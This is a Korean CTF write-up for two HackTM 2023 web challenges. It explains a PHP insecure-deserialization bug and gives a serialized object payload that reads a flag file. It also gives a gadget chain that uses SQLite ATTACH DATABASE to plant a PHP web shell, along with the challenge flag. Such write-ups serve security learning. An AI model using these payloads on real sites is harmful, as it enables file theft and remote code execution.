hacktm ctf 2023

1. (웹) 블로그

쿠키 값을 “deserialize()”합니다.


취약계층을 찾기 위해 사용해보니 Profile계열이 눈에 들어왔다.

`file_get_contents()` 함수는 멤버 변수 `$this->picture_path`의 값을 통해 파일 읽기를 시도합니다.

즉, “Profile” 클래스의 “picture_path” 멤버 변수를 이용하여 플래그 값을 읽어서 문제를 해결할 수 있다.


O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:8:"universe";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"posts";a:0:{}}

HackTM{r3t__toString_1s_s0_fun_13c573f6}

2. (웹) 블로그 복수

블로그 문제는 발표자의 의도에 반해 해결되었고 플래그 파일의 위치만 변경되어 재발행된 것으로 판단됩니다.

공식 설명이 어딘지 모르겠지만 다른 분들은 SQLite 쿼리문을 통해 PHP 파일을 만들고 RCE를 했다고 합니다.

sqlite에는 `ATTACH DATABASE`라는 구문이 있습니다. 아래 사이트에 설명되어 있습니다.

예제가 포함된 SQLite ATTACH DATABASE

이 자습서에서는 SQLite ATTACH DATABASE 문을 사용하여 현재 데이터베이스 연결에 추가 데이터베이스를 연결하는 방법을 보여줍니다.

www.sqlitetutorial.net

위 사이트에서 설명한 것처럼 이렇게 쿼리를 작성하면 DB 파일이 생성되어 연결된다.

생성된 DB에 테이블을 생성하고 PHP 코드를 붙여넣으면 DB 파일 생성을 통해 웹쉘을 생성할 수 있습니다.

$conn = new Conn;
$conn->queries = array(
    new Query("ATTACH DATABASE '/var/www/html/images/.somerandomname.php' AS jctf;", array()),
    new Query("CREATE TABLE jctf.pwn (dataz text);", array()),
    new Query('INSERT INTO jctf.pwn (dataz) VALUES ("<?php system($_GET(0)); ?>");', array())
);

$in_user = new User("asdf");
$in_user->profile = $conn;

$profile = new Profile("asdf");
$profile->username = $in_user;

$user = new User("asdf");
$user->profile = $profile;
// User.get_profile() converts $this->profile to a string
//   profile = Profile, calls Profile.__toString() which does string conversion when placing $this->username in a string
//   (caveat: it has to pass db checks, which will place an empty str as the username in the sql query since the username is not a string)
//     username = User, calls User.__toString() which in turn calls $this->profile()
//       profile = Conn, already initialized with three queries to drop a webshell

echo base64_encode(serialize($user));